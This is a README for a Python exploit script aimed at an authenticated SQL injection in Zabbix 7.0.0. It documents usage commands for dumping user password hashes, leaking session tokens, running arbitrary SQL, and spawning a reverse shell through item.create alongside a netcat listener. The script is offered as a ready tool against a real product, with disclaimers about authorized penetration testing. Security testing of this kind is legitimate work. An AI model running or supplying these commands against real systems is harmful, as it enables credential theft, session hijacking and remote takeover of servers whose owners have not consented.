
This is for educational porpuses only. Please do not use agains unathorized systems.
A Python script to exploit a Zabbix 7.0.0 authenticated SQL injection vulnerability, supporting multiple modes of action including user data extraction, session token leaks, remote command execution (RCE), and custom query injection.
⚠️ DISCLAIMER:
This script is for educational and authorized penetration testing purposes only.
Do not use it on systems you do not own or have explicit permission to test.
The author is not responsible for any misuse or damage caused by this tool.
requests libraryInstall requirements if needed:
pip install requests
python3 sqliZabbix.py -u <ZABBIX_URL> -U <USERNAME> -p <PASSWORD> --mode <MODE> [optional args...]
Dump User Hashes
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-users
Leak Session Tokens
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-tokens
Remote Code Execution (Reverse Shell)
# Start a listener first:
nc -lvnp 9001
# Then run:
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --admin_token <ADMIN_API_TOKEN> --ip <YOUR_IP> --port 9001 --mode rce
Custom SQL Injection
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode custom --query "SELECT version()"
sqliZabbix.py # Main exploit script
README.md # This documentation
Anthony (@874anthony)
Crafted with love & curiosity 🐍
This project is released under the MIT License. Please use responsibly.
| Mode | Description | Requires Admin Token |
|---|
| leak-users | Dumps all user IDs, usernames, password hashes, and roles | ❌ |
| leak-tokens | Dumps all active session IDs from the database | ❌ |
| rce | Spawns a reverse shell via item.create exploit | ✅ |
| custom | Run any custom SQL query via the injection | ❌ |